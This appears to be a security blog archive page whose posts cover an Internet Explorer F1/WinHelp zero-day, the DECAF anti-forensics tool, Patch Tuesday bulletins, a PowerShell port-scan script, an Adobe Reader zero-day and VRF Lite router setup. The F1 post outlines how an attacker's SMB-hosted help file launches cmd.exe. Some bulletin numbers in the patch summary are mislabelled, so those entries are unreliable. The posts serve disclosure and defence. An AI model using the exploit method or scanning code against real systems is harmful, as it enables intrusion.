Microsoft published security advisory 981169 yesterday in response to the zero day vulnerability reported a few days prior. The vulnerability is in the help system and can be triggered by luring an Internet Explorer user into pressing the F1 key. Windows 2000, Windows XP SP2 & SP3, and Windows 2003 SP2 with Internet Explorer 7 and Internet Explorer 8 are all affected.

Credit to Maurycy Prodeus for publishing the initial details of the vulnerability.

Details

Using the MsgBox VBScript function in an html file, an attacker can create a dialog box prompting the user to hit F1, something that is likely not difficult to do with a message such as “Internet Explorer encountered an error, press F1 to continue”. The MsgBox function is important as its fourth argument specifies a helpfile parameter, basically which hlp or chm file to launch when the user asks for help via F1.

I created a simple help file with the word “Test” using the Microsoft Help Workshop version 4.03. In addition to this, I added the macro to launch a command prompt (cmd.exe). When I double click this file in Windows XP SP3, I get my test helpfile and the command prompt launches as well:

Cmd.exe launched with my Help file.

So we now have a .hlp file which executes code. As mentioned before, the MsgBox function has a parameter to specify a help file to launch when the user hits F1. Here is where I come back to a recurring issue of SMB traffic and allowing it outbound on firewalls. In order for the MsgBox parameter to launch the .hlp file, the attacker must point to a local file (which the user would have had to already download) or host a file on an internet accessible SMB share. If you look at the proof of concept code circulating, currently you will see the MsgBox help parameter is “\x.x.x.x\attackfile.hlp”, a pointer to a help file on an SMB share. Corporate enterprises should certainly block SMB outbound, and with this vulnerability and the several previous attacks via SMB client, users should be blocking this outbound traffic as well.

Vista, Windows 7, & Server 2008

The vulnerability does not work on Vista, Windows 7 and Windows 2008 due to Microsoft no longer including winhlp32.exe with these versions. However, there is an update which can install winhlp32 for these versions (Windows 7 Version I installed from here). I found that these updates did not launch the cmd.exe as the Windows XP version did (I also tried Prodeus’s PoC help file and it displayed but did not run calc.exe). It is possible that Microsoft removed this code execution function from these versions.

Workarounds

The warnings are avoid hitting F1 when prompted by websites. Additionally, permissions to winhlp32.exe can be modified so that it doesn’t execute. In an Active Directory environment, a Group Policy software restriction setting can prohibit winhlp32.exe from launching. As mentioned, I recommend blocking outbound SMB traffic, as there is rarely a justification for mounting a network share on the public internet. This helps with many known vulnerabilities disclosed in the past as well.

Related Posts:

• Turning an ATM into a Slot Machine
• iPhone 4 Ordering and Session Switching
• Thou Shalt Not Send Naked Pictures…To Anyone Ever
• May’s Patch Tuesday
• IEPeers – A New Internet Explorer Zero Day Vulnerability

About a month ago, there was much news about the release of COFEE into the torrent wild. I even gave my two cents about the much hyped forensics toolkit which is provided to law enforcement for the purposes of easily capturing volatile data from personal computers during evidence collection. A tool to counter COFEE, aptly named DECAF, has been released as an anti-forensics tool to prevent the use of COFEE for data collection.

“We want to promote a healthy unrestricted free flow of internet traffic and show why law enforcement should not solely rely on Microsoft to automate their intelligent evidence finding,” one of the two hackers behind Decaf told The Register in explaining the objective of the project.

DECAF Details

DECAF is written in Visual Basic 2005 and consists of a single executable and an XML configuration file called decaf.exe.config which contains the application settings (an XML is also created in the user’s profile directory for each user’s specific settings).

When launched, it displays the user license agreement and asks for confirmation. When agreed, it writes the following registry entry:

Key: HKU\SOFTWARE\DECAFme
Value: AcceptedEULA
Data: true

The program then connects via HTTP to 208.68.237.165 to check the current version number and receives the following response: 1.0.0|http://www.decafme.org/|

If the application does not have a network connection, it will crash upon starting up with the following event:

EventType clr20r3, P1 decaf.exe, P2 1.0.2.0, P3 4b2679b7, P4 decaf,
 P5 1.0.2.0, P6 4b2679b7, P7 115, P8 14d, P9 
system.invalidoperationexception, P10 NIL.

Decaf Menu

I produced this initially when I had my virtual host’s network interface disabled.

Starting the monitor puts the application in detection mode, looking for the presence of COFEE. It waits for the launch of runner.exe, the launcher in COFEE, and will perform an action based on the configuration settings. It appears the tool checks the MD5 hash of runner.exe (ab9e68c7e71ebb2d6a5b8d17e9bd6b33). In addition to detecting the launch of runner.exe, the tool performs a WMI query to detect the COFEE USB thumb drive. The WMI query used for this type of action is:

SELECT * FROM __InstanceOperationEvent WITHIN 10 WHERE TargetInstance ISA "Win32_DiskDrive"

And since the thumb drive has the COFEE label, finding its presence should not be an issue.

Notification finding COFEE

When COFEE is found, a notification is sent over to decafme.org (note I changed the rip field to invalid IP addresses):

GET /decaf.php?&rip=299.297.141.45&rtime=12142009_050704PM-5&sim=false HTTP/1.1

When clicking Simulate, it mimics what would happen if coffee is found, and the sim field is set to true:

GET /decaf.php?&rip=299.297.141.45&rtime=12142009_051522PM-5&sim=true HTTP/1.1

The Configuration Menu

Lockdown Settings

In the configuration menu, there are checkboxes in the Monitor section to “Monitor USB” and “Monitor COFEE”. As discussed, these options enable checking for runner.exe and detection of the USB thumb drive. The Notification section contains options for notifying the user when detection occurs. The Actions section is the interesting part, especially editing the Lockdown Mode. Here, you can set what happens when detection occurs. Some of the options are:

• Shutdown the system
• Kill selected processes
• Disable Network, USB, CD-ROM, ports, floppy
• Clear event viewer
• Erase Data

The configuration settings are stored per user in an XML file located in:

%USERPROFILE%\local settings\application data\DECAFme.org\Decaf.exe_Url_5fokqfogt1qso5vyeabunvhsigozqvpo\1.0.2.0>

If the config for the user does not exist, the default in the launch directory is used.

Conclusion

When I first heard of the tool, I assumed it would also include detection of the default OS commands and Sysinternal utilities that COFEE typically runs, such as pslist.exe or tcpvcon.exe, however, in its current version this is not the case. An anti-forensics tool which expands into detecting the typical collection tools will affect investigations that use various toolkits (Helix, IRCR, etc), not just COFEE. However, as quoted by The Register, the DECAF brewer’s intentions are not to derail just any collection suite, but for law enforcement to expand beyond using what Microsoft provides them.

This version of decaf is still very bitter and has quite a ways to go in its development. The authors of Decaf are promising a more light-weight version or a windows service in the next release and text message and email triggers to enter lockdown mode remotely in future versions. However, Decaf provides a good example of how anti-forensic tools continue to evolve and can become serious roadblocks for digital forensic investigators.

Updates

The authors of Decaf have shut down the project and have said they are starting a forum for those interested in further discussing related matters. Considered a spoof, stunt, hoax, and many other names in the media, we have discussed the matter in the following post.

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• WinPE 3.0 & Forensics
• March’s Patch Tuesday
• Press F1 for Help, pwned.

• MS09-071 – Vulnerabilities in Internet Authentication Service Could Allow Remote Code Execution (974318)
• MS09-074 – Vulnerability in Microsoft Office Project Could Allow Remote Code Execution (967183)
• MS09-072 – Cumulative Security Update for Internet Explorer (976325)
• MS09-069 – Vulnerability in Local Security Authority Subsystem Service Could Allow Denial of Service (974392)
• MS09-070 – Vulnerabilities in Active Directory Federation Services Could Allow Remote Code Execution (971726)
• MS09-073 – Vulnerability in WordPad and Office Text Converters Could Allow Remote Code Execution (975539)

Severity Levels

Microsoft has a rating system for bulletins which includes: Critical, Important, Moderate, and Low. The severity levels I provide below are not directly from Microsoft. For example, MS will give an important rating when exploitation could result in compromise of availability, as in a denial of service. MS09-069 can result in a denial of service, however, the attacker must already be authenticated. For this reason I drop the severity to Low.

Bulletin Summaries

Bulletin: MS09-071
Recommended Action: Update Windows 2008 Server (32-bit and 64-bit) which have IAS configured to use PEAP with MS-CHAP v2 authentication.
My Severity Rating: Moderate, should patch the above mentioned software.

This update addresses two vulnerabilities in the Internet Authentication Service (IAS). One is an IAS memory corruption vulnerability and the second is an authentication bypass vulnerability in MS-CHAP authentication. Client operating systems contain the vulnerable code but the components are not used in a way to make them vulnerable.

Bulletin: MS09-074
Recommended Action: Update MS Project 2000 SR-1.
My Severity Rating: Important for Project Software

This update addresses a vulnerability in Microsoft Project which can cause remote code execution when a specially crafted Project file is opened.  Microsoft Project 2000 SR-1, Project 2002 SP1 and Project 2003 SP3 are affected.

Bulletin: MS09-074
Recommended Action: Update Internet Explorer
My Severity Rating Critical

This update addresses five difference vulnerabilities with at least one or more affected every version of Internet Explorer. Attackers can host malicious code which can lead remote code execution on vulnerable systems. Any issues that lead to remote execution in IE should be addressed immediately; even if you are confident about not browsing malicious sites, a known site, such as the Pentagon web site, could be used to automatically execute or redirect you to malicious code using cross-site scripting.

Bulletin: MS09-069
Recommended Action: Update Windows 2000, Windows XP and Windows 2003
My Severity Rating: Low

A vulnerability in LSASS can cause a denial of service. The attacker must be authenticated and communicating through IPSEC.

Bulletin: MS09-070
Recommended Action: Update Windows 2003 and Windows 2008 Servers
My Severity Rating: Low

This update addresses two vulnerabilities in Active Directory Federation Services, one which can be used to spoof an authenticated user and the second which can cause remote code execution. The spoofing requires access to a workstation and browser recently used by a targeted user and the remote code execution requires the attacker to have valid logon credentials to the vulnerable server.

Bulletin: MS09-069
Recommended Action: Update Windows XP SP3 and/or Office 2003 SP3
My Severity Rating: Moderate

A vulnerability in text converters in WordPad and Office can cause remote code execution. Malicious code can be hosted on a website to trigger an exploit, however, an attempt would cause a dialog box to appear prompting the user to open the file (unless the option to “Always ask before opening this type of file” has been unchecked).

Adobe

Adobe has mirrored the patch Tuesday schedule of releasing patches on the first Tuesday of the month. The severity ratings also follow the same definitions a s Microsoft’s.

Adobe has two advisories for this month:

Bulletin: APSA09-06
Recommended Action: Update Adobe Illustrator CS4 and earlier. (Avail Jan 8)
My Severity Rating: Low

A vulnerability in Illustrator CS4 and earlier could lead to remote code execution. The target is required to open a malicious eps file.

Bulletin: APSA09-17
Recommended Action: Update Adobe Flash Player and Adobe AIR
My Severity Rating: Low

Adobe states this is a critical update and it is scheduled for release today, but does not provide details of the update.

Updates

Adobe has released details on the Flash Player update. The update addresses six vulnerabilities, five which can lead to remote execution and one to information disclosure. The vulnerabilities were identified in Flash Player version 10.0.32.18 and earlier.

References

• Microsoft’s December Bulletins
• Adobe’s Security Advisories

Related Posts:

• Turning an ATM into a Slot Machine
• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.

It’s been a while since my last post regarding Powershell which showed how to scan hosts for network interfaces in promiscuous mode. This time around, we’ll scan for some well known ports in our Active Directory to see who has a local IIS or SQL Express running on their machine. I know what you’re thinking. A port scanner? I already use trusty old NMAP or Superscan. This is not about port scanning, its about Powershell. In the last post, we used the MSNdis_CurrentPackFilter class of WMI to find any network cards in promiscuous mode, using Active Directory computer objects as our targets. Once again, I keep the AD query of computer objects as a way to source target hosts, but the scripts can easily be modified to take in a hosts file or an IP range. For making connections, let’s look into the System.Net.Sockets class.

When I started looking into a method I can use to establish a connection to a given port in order to check if it was open, I went with a Connect method using the System.Net.Sockets.Socket class. This isn’t what I ended up using in the finished script, but I want to mention this class, because it can be used to send data to a connected socket, or to receive data on a listening socket (there is a listen method as well). Perhaps a more detailed post will materialize on those items, but I haven’t thought of a reason to use them yet. Maybe we can convert Gaffie’s Python code that crashes Windows 7 into a Powershell script one day.

Why didn’t I end up using the socket.connect method? The timeout was too long and I lost patience fiddling with the ConnectAsync method. If interested, here is the code for the socket.connect:

$computer = “test”
$ipport = [int]80
$comp = [Net.Dns]::GetHostEntry($computer)
foreach ($ip in $comp.AddressList) {
   $ep = New-Object System.Net.IPEndPoint($ip, $ipport)
   $socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,
                                                  [System.Net.Sockets.SocketType]::Stream,
                                                  [System.Net.Sockets.ProtocolType]::Tcp)
   $optlevel = [System.Net.Sockets.SocketOptionLevel]::"Socket"
   $optname = [System.Net.Sockets.SocketOptionName]::"SendTimeout"
   $timeout = [Int]100
   $socket.SetSocketOption($optlevel,$optname,$timeout)
   $socket.Connect($ep)
   $socket.Close()

I’ve left out the AD code and the extra code that’s in the port scan script to show just the use of socket.connect. The workstation in the script is “test” and we’re trying to connect to port 80. If the host is using a firewall that will actively refuse the connection, we get a quick response which would be fine for a port scanner; but, if the port is simply not listening and there is no firewall to actively refuse the connection, there is a pretty significant delay before getting the connection error. This delay is not suitable for port scanning.

Instead of System.Net.Sockets.Socket, we will use the System.Net.Sockets.TcpClient class with the BeginConnect Method in conjunction with a timeout (if it doesn’t complete in a given time, we assume the connection is not available). I’ve seen examples of this used on poshcode.org for testing a connection to port 135 prior to making WMI calls or other RPC calls.

$HostEntry = [Net.Dns]::GetHostEntry($CompName)
foreach ($ip in $HostEntry.AddressList) {
   Write-Host "Checking: $CompName on $ip"
   foreach ($tcpport in $PortList) {
      $TCPclient = new-Object system.Net.Sockets.TcpClient
      $Connection = $TCPclient.BeginConnect($ip,$tcpport,$null,$null)
      $TimeOut = $Connection.AsyncWaitHandle.WaitOne(3000,$false)  ## 3 second timeout can be modified
    if(!$TimeOut)   {
       $TCPclient.Close()
       Write-Host "     OK: Port $tcpport is closed."
       }
    else {
       try {
          $TCPclient.EndConnect($Connection) | out-Null
          $TCPclient.Close()
          ## Next line outputs that the port is closed. I prefer to see output 
          ## processing; comment for outputting only open ports.
          Write-Host "     " -nonewline
          Write-Host "Host: $CompName has port $tcpport open!" -foregroundcolor red -backgroundcolor yellow
          } 
       catch {
          ## Machine actively refused the connection. The port is not open but $TimeOut was still true
          ## Uncomment next line to output the error for this.
          ## write-host $_
         write-host "     OK: Port $tcpport is closed."
       }

Note: the script requires a parameter
which is comma separated list of ports.

Example: ad-portscan.ps1 23,80,443,1433

You can see by the code snippet above that we are using Sockets.TcpClient rather than Sockets.Socket, and the method used is BeginConnect rather than Connect as in the previous example. If the connection is not available in 3 seconds, the timeout is expired and the script reports the port is closed. In some cases, Windows firewall will refuse the connection while the timeout is not expired. I found in these cases, when attempting to close the connection, an error reported that the connection was refused and was never connected to begin with. This is where the TRY / CATCH comes in, as we check that we can cleanly close the open connection, which will then report that the port is open.

You can find the full script here, and while by no means is this to replace your standard port scanner, it can provide a quick way to scan your AD hosts for open ports that you specify or get you digging further into Sockets.Socket which can lead to many places.

Note: the script requires a parameter which is comma separated list of ports.

Example: ad-portscan.ps1 23,80,443,1433

• http://msdn.microsoft.com/en-us/library/system.net.sockets.aspx

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• First Patch Tuesday of 2010

A new zero-day vulnerability in Adobe Reader and Acrobat 9.1.3 has been identified by Chia-Ching Fang and the Taiwanese Information and Communication Security Technology Service Center that allows an attacker to remotely execute arbitrary code. The attack is seeded by providing via e-mail or download a specially crafted PDF file which in current examples will then drop a malware executable as well as an unaffected pdf file. McAfee is identifying this under Exploit-PDF.m, and has a signature for a specific Trojan already identified. This is the fourth PDF related zero-day attack of 2009, and a further incentive for enterprises to bring patching of applications in line with processes for operating system patching.

The crafted PDF file contains a Javascript which is used to execute arbitrary code via a technique known as heap spraying. The initial shell code jumps program execution to a second shell code, which in turn executes a malicious file that creates a backdoor (remote access to the infected computer). Trend Micro is identifying this malware as a Protux variant. Protux backdoors provide user level access to the machine and have been associated as the payloads of Microsoft Office (Word, PowerPoint, Excel, Access) as well as previous Adobe Reader exploits. The Protux family of Trojans has been around since at least 2007.

The identification of this exploit has prompted Adobe to announce release of a critical patch for release on Tuesday, October 13th. The company posted a security advisory yesterday, announcing plans to release the update to “resolve critical security issues”. The vulnerability is being exploited, although it is unclear how widespread the attacks are. Adobe asserts that the vulnerability is being exploited in “limited, targeted attacks” limited to Windows operating systems although the vulnerability itself also exists for other operating systems.

“There are reports that this issue is being exploited in the wild in limited targeted attacks”
– David Lenoe of Adobe

Vupen Security posted an advisory on the vulnerability (CVE-2009-3459) which states that the issue is an unspecified memory corruption error, which could be exploited allowing attackers to comprise a system remotely.

Workarounds

Disabling Javascript on Adobe Acrobat

Adobe notes that disabling Javascript mitigates against the specific exploit identified, although it would be possible to create a variant that does not rely on Javascript. To disable Javascript in Adobe Reader or Acrobat, select Edit > Preferences, select the JavaScript option on the left, and uncheck the Enable Acrobat JavaScript option as shown.

Uncheck to disable Acrobat JavaScript

Data Execution Prevention

Also, users with DEP enabled on Windows Vista or Windows 7 are protected from this exploit. Data Execution Prevention (DEP) performs additional checks on memory to help prevent malicious code from running, designed to prevent buffer overflow attacks. To enable DEP on Windows for all or individual programs, proceed to Control Panel -> System and Maintenance -> System, click on Advanced System Settings, under Performance click Settings, and finally under the Data Execution Prevention tab click Turn on DEP for all programs and services except those I select. If you can not find Acrobat in the list of programs, click Add and browse to the Acrobat executable (.exe) file and click Open. For more information on DEP settings, visit the Microsoft help page.

In Conclusion

In June Adobe moved to the same Tuesday patch management schedule that Microsoft and Oracle previously adopted. This latest zero-day exploit represents another opportunity to address an ongoing issue for organizations: that patch management must extend beyond just the operating system level. While enterprises focus on ensuring the latest Microsoft updates to the desktop and server environment, applications, such as Adobe Reader, fail to be a part of the the same rigorous patch management exercise.

Qualys demonstrated this problem when the first Adobe exploit was released this year in February, APSA09-01. While a fix was released on March 10th (demonstrated by the red line in their graph), by April 27th there was still no clear reduction in the number of vulnerable machines. A 30 day patch management cycle, including testing of the patch before full enterprise release, would have shown a steep drop off on or about April 10th:

Source: http://laws.qualys.com/lawsblog/2009/04/new-adobe-0-day-vulnerability.html

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action

Table of Contents

• Virtual Routing and Forwarding (VRF)
• VRF Lite Setup
  • Cisco IOS
  • Juniper ScreenOS
  • Juniper JunOS

Virtual Routing and Forwarding (VRF)

“It’s incredibly obvious, isn’t it? A foreign substance is introduced into our precious bodily fluids without the knowledge of the individual, and certainly without any choice.”

Gen Jack D. Ripper

Virtual routing and forwarding (VRF) is a technology included in network routers that allows multiple instances of a routing table to exist in a single router all while working simultaneously.

Their are two types of VRFs: “VRF” and “VRF Lite.”

VRF Lite is just a subset of VRF without all the protocols used for creation of VPNs between routers, namely MPLS. VRFs are very common in service providers networks and at some point nearly all internet traffic passes through a VRF or two.

VRF Lite allows for interfaces on a physical router to belong to a routing instance. This routing instance has its own forwarding table, ARP entries, and everything else needed to make a forwarding decision. It can simply be thought of as a router within a router ( Figure 1).

Figure 1: Routers within Router

This structure makes VRFs useful for many applications and as a solution to quite a few tough network design issues. It can be used to improve the network in the following ways:

• Segmentation
• Management and Control
• Security

Segmentation

Layer 2 segmentation based on VLANs and firewalls is showing strains and being pushed beyond reasonableness when it comes to how a network architecture should be built. A good example of this is 10 Gig and 1 Gig Ethernet MANs¹ that span multiple buildings and datacenters into a single campus. An overview of a large campus network can been seen in Figure 2.

In our example network, creating wired guest access would require the use of firewalls in each building or extending VLANs between buildings to the centralized firewalls in the datecenter. Both options have downsides that VRFs would be better at solving.

Figure 2: Large MAN Overview

In the case of extending VLANs between buildings this would have the campus network design rely on Spanning Tree and layer 2 protocols to provide a loop-free environment. In the case of a large network such as our example, this could lead to long failover times during hardware failure, while also not making full use of all available network bandwidth.

The use of firewalls mitigates most of the network utilization and failure times by making use of layer 3 routed campus design, but this comes at a large cost. Namely, the cost is incurred in maintenance and raw hardware costs for large firewalls that are able to deal with 10 Gig and 1 Gig ethernet line rates. The use of access-lists are often supplemented for firewalls to reduce costs, but this approach is fraught with issues and access-lists are never reviewed often enough.

A VRF based solution for a wired guest network on a large campus would allow guest traffic to be routed to the firewalls in the datacenters via routing policy while still being segmented away from production traffic. By leveraging VRFs none of the aforementioned compromises are required to keep this separation. The production network is able to fully utilize all available links and not relay on spanning tree protocol between sites for a loop free environment.

Management and Control

For managing devices on a network, there is a need for out of band (OOB) connections. There really is no other sure-fire way of gaining access during a truly catastrophic event other than this tried and true modem/console connection. But for the daily running and maintenance of the network, OOB just can not keep up with the needs of daily maintenance and the amount of traffic generated by NetFlow, logging, ftp/tftp backups, and scp (secure copy) of new images. To complete these high bandwidth functions, most companies I have seen and worked with just resort to using the network that servers and even desktops traffic utilize. This traffic in many cases is highly sensitive and really should not be available to anyone outside of authorized users.

VRFs can help to move this traffic out of the primary network and into a second network that only services management functions and has no direct access to the Internet, desktops, or other uncontrolled resources. In fact, Cisco is now adding VRF management ports to some of their newer devices². The use of ACL’s and other forms of control and logging are still needed, but they become simpler to keep updated and are normally far less complicated when production traffic is neither expected nor allowed.

Security

“I… I don’t know exactly how to put this, sir, but are you aware of what a serious breach of security that would be? I mean, he’ll see everything, he’ll… he’ll see the Big Board!”

Gen "Buck" Turgidson

VRFs allow for complete separation of different routing instances from one another. This simple and effective concept of hiding networks from each other and limiting the ability of devices from interacting outside of defined boundaries creates a more secure network. A good example of this would be a voice network within a campus. In general, there is very little reason for VoIP end points to speak to anything other than the voice gateway and each other. Moving of voice traffic to a VRF allows for gateways to still interact and even direct device-to-device interconnection, while greatly reducing the attack vectors.

VRFs do increase the surface area of your network devices due to the increased number of addressable interfaces on each hardware device. But I would counter this with the fact that the network is divided into more domain specific networks. The ACL and protection measures required become much simpler to implement and keep up to date. A good and simple example of this would be to just block all management functions for anything outside of the management VRF.

VRF Lite Setup

VRF Lite is supported on most modern network hardware, but I personally have not used them outside of Juniper JunOS, Juniper ScreenOS, and Cisco IOS. Each Platform/Company has it’s own naming³ convention for the this feature, but the concept is the same in each.

“Gentlemen, you can’t fight in here! This is the War Room.”

Pres Merkin Muffley

• Setup on Juniper JunOS
• Setup on Cisco IOS
• Setup on Juniper ScreenOS

VRF Lite Setup on Juniper JunOS

For this example I will be using JunOS 8.5, while this a slightly older version it still has all the features needed.

First we need to setup some basic interfaces for later use. We will not be assigning them an IP address as I do not want to pollute the global routing table⁴. We will be using VLANs on ethernet interfaces to break up the router junos-1 into three virtual routers.

Enable VLAN tagging on the interfaces and create some sub interfaces.

set interfaces fe-0/0/0 vlan-tagging
set interfaces fe-0/0/0 unit 100 vlan-id 100
set interfaces fe-0/0/0 unit 100 description "Untrust"
set interfaces fe-0/0/0 unit 200 vlan-id 200
set interfaces fe-0/0/0 unit 200 description "Trust"
set interfaces fe-0/0/0 unit 300 vlan-id 300
set interfaces fe-0/0/0 unit 300 description "DMZ"
set interfaces fe-0/0/0 unit 400 vlan-id 400
set interfaces fe-0/0/0 unit 400 description "Trust"

The verify the results and commit the changes.

[edit]
jrossi@junos-1# show interfaces
fe-0/0/0 {
    vlan-tagging;
    unit 100 {
        description Untrust;
        vlan-id 100;
    }
    unit 200 {
        description Trust;
        vlan-id 200;
    }
    unit 300 {
        description DMZ;
        vlan-id 300;
    }
    unit 400 {
        description Trust;
        vlan-id 400;
    }
}

[edit]
jrossi@junos-1# commit
commit complete

Now let’s create three new routing-instances: Trust, Untrust, and DMZ. The instance-type supports quite a few option types on JunOS, but to to create a VRF Lite instance we just need to use virtual-router. We also need to assign interfaces to each newly created instance. This is very different than in Cisco IOS in that one configures VRF in the interface configuration hierarchy.

show routing-instances
set routing-instances Trust instance-type virtual-router
set routing-instances Trust interface fe-0/0/0.200
set routing-instances Trust interface fe-0/0/0.400
set routing-instances Untrust instance-type virtual-router
set routing-instances Untrust interface fe-0/0/0.100
set routing-instances DMZ instance-type virtual-router
set routing-instances DMZ interface fe-0/0/0.300

View the results and commit the change.

[edit]
jrossi@junos-1# show routing-instances
Trust {
    instance-type virtual-router;
    interface fe-0/0/0.200;
    interface fe-0/0/0.400;
}
Untrust {
    instance-type virtual-router;
    interface fe-0/0/0.100;
}
DMZ {
    instance-type virtual-router;
    interface fe-0/0/0.300;
}

[edit]
jrossi@junos-1# commit
commit complete

Now, we have the interfaces configured and set up without addresses. If we look at the routing table nothing shows up because we have not enabled any interface families. Once we add address to the family inet interface configuration, the routing table will begin to take shape.

jrossi@junos-1# run show route

inet.0: 6 destinations, 6 routes (6 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 03:47:47
                    > to 10.4.37.1 via fe-0/0/1.0
10.4.37.0/24       *[Direct/0] 1d 19:35:26
                    > via fe-0/0/1.0
10.4.37.9/32       *[Local/0] 1d 19:35:26
                      Local via fe-0/0/1.0
192.168.5.0/24     *[Direct/0] 1d 13:13:18
                    > via fe-0/0/1.0
192.168.5.123/32   *[Local/0] 1d 13:13:18
                      Local via fe-0/0/1.0
224.0.0.5/32       *[OSPF/10] 1d 12:50:00, metric 1
                     MultiRecv

__juniper_private2__.inet.0: 1 destinations, 1 routes (0 active, 0 holddown, 1 hidden)

Let’s add some interface family inet addresses. I am going to use overlapping address ranges to show that when VRF is used they do not interfere with each other.

set interfaces fe-0/0/0 unit 100 family inet address 10.10.10.1/24
set interfaces fe-0/0/0 unit 200 family inet address 172.16.10.1/24
set interfaces fe-0/0/0 unit 300 family inet address 10.10.10.1/24
set interfaces fe-0/0/0 unit 400 family inet address 192.168.10.1/24

Now let’s verify the changes and commit them.

jrossi@junos-1# show interfaces fe-0/0/0 
vlan-tagging;
unit 100 {
    description Untrust;
    vlan-id 100;
    family inet {
        address 10.10.10.1/24;
    }
}
unit 200 {
    description Trust;
    vlan-id 200;
    family inet {
        address 172.16.10.1/24;
    }
}
unit 300 {
    description DMZ;
    vlan-id 300;
    family inet {
        address 10.10.10.1/24;
    }
}
unit 400 {
    description Trust;
    vlan-id 400;
    family inet {
        address 192.168.10.1/24;
    }
}

[edit]
jrossi@junos-1# commit 
commit complete

When we look into the routing you see much more information and can even see the different routing instances. The global routing table inet.0 is the default table your would normally work with. Further down the list you see DMZ.inet.0, Trust.inet.0, and Untrust.inet.0; they are the newly created VRF Lite routing instances.

[edit]
jrossi@junos-1# run show route 

inet.0: 6 destinations, 6 routes (6 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 04:27:06
                    > to 10.4.37.1 via fe-0/0/1.0
10.4.37.0/24       *[Direct/0] 1d 20:14:45
                    > via fe-0/0/1.0
10.4.37.9/32       *[Local/0] 1d 20:14:45
                      Local via fe-0/0/1.0
192.168.5.0/24     *[Direct/0] 1d 13:52:37
                    > via fe-0/0/1.0
192.168.5.123/32   *[Local/0] 1d 13:52:37
                      Local via fe-0/0/1.0
224.0.0.5/32       *[OSPF/10] 1d 13:29:19, metric 1
                      MultiRecv

__juniper_private2__.inet.0: 1 destinations, 1 routes (0 active, 0 holddown, 1 hidden)

DMZ.inet.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.10.0/24      *[Direct/0] 00:00:06
                    > via fe-0/0/0.300
10.10.10.1/32      *[Local/0] 00:00:06
                      Local via fe-0/0/0.300

Trust.inet.0: 4 destinations, 4 routes (4 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

172.16.10.0/24     *[Direct/0] 00:00:18
                    > via fe-0/0/0.200
172.16.10.1/32     *[Local/0] 00:00:18
                      Local via fe-0/0/0.200
192.168.10.0/24    *[Direct/0] 00:00:06
                    > via fe-0/0/0.400
192.168.10.1/32    *[Local/0] 00:00:06
                      Local via fe-0/0/0.400

Untrust.inet.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.10.0/24      *[Direct/0] 00:03:26
                    > via fe-0/0/0.100
10.10.10.1/32      *[Local/0] 00:03:26
                      Local via fe-0/0/0.100

While having interfaces with addresses and different routing tables is cool and all, this does next to nothing as there is no real routing going on so let’s add some.

Start out by adding a default route to the Trust VRF lite configuration. The commands to perform this are almost exactly the same for the global routing table. The only difference is that you start under the routing-instances configuration hierarchy. This also applies for routing protocols.

set routing-instances Trust routing-options static route 0.0.0.0/0 next-hop 192.168.10.2

Now let’s verify our configuration and commit the change.

[edit]
jrossi@junos-1# show routing-instances Trust 
instance-type virtual-router;
interface fe-0/0/0.200;
interface fe-0/0/0.400;
routing-options {
    static {
        route 0.0.0.0/0 next-hop 192.168.10.2;
    }
}

[edit]
jrossi@junos-1# commit 
commit complete

Now let’s take a look at the Trust.inet.0 routing table. This time we are going limit our show route command to just the Trust table.

[edit]
jrossi@junos-1# run show route table Trust 

Trust.inet.0: 5 destinations, 5 routes (5 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 00:36:26
                    > to 192.168.10.2 via fe-0/0/0.400
172.16.10.0/24     *[Direct/0] 00:00:18
                    > via fe-0/0/0.200
172.16.10.1/32     *[Local/0] 00:00:18
                      Local via fe-0/0/0.200
192.168.10.0/24    *[Direct/0] 00:56:56
                    > via fe-0/0/0.400
192.168.10.1/32    *[Local/0] 00:56:56
                      Local via fe-0/0/0.400

VRF Lite Setup on Cisco IOS

Cisco IOS is used here and it’s very new and buggy 12.4T(22), but as this is what I installed to test other features of IOS, I figured it would not be a problem for this write up. It should also be more than adequate for VRF Lite. Please note that there are a large number of extra interfaces and features configured on this router as I do lots of playing around with IOS on this device.

Just like in the JunOS Example, we are going to create some sub-interfaces to start off with.

ios-1(config)#int gi0/0
ios-1(config-if)#no shut
ios-1(config-i)#int gi0/0.100
ios-1(config-subif)#description Untrust
ios-1(config-subif)#encapsulation dot1Q 100
ios-1(config-subif)#int gi0/0.200
ios-1(config-subif)#description Trust
ios-1(config-subif)#encapsulation dot1Q 200
ios-1(config-subif)#int gi0/0.300
ios-1(config-subif)#description DMZ
ios-1(config-subif)#encapsulation dot1Q 300
ios-1(config-subif)#int gi0/0.400
ios-1(config-subif)#description Trust
ios-1(config-subif)#encapsulation dot1Q 400

Just a quick peek to see that things are as we expect them.

ios-1(config-subif)#do show ip int br
Interface                  IP-Address      OK? Method Status                Protocol
GigabitEthernet0/0         unassigned      YES NVRAM  up                    up
GigabitEthernet0/0.100     unassigned      YES unset  up                    up
GigabitEthernet0/0.200     unassigned      YES unset  up                    up
GigabitEthernet0/0.300     unassigned      YES unset  up                    up
GigabitEthernet0/0.400     unassigned      YES unset  up                    up
GigabitEthernet0/1         1.1.1.1         YES NVRAM  up                    up
FastEthernet0/3/0          unassigned      YES unset  down                  down
FastEthernet0/3/1          unassigned      YES unset  up                    down
FastEthernet0/3/2          unassigned      YES unset  up                    down
FastEthernet0/3/3          unassigned      YES unset  up                    down
ATM0/1/0                   unassigned      YES NVRAM  administratively down down
ATM0/1/0.1                 unassigned      YES unset  administratively down down
Dot11Radio0/2/0            unassigned      YES NVRAM  up                    up
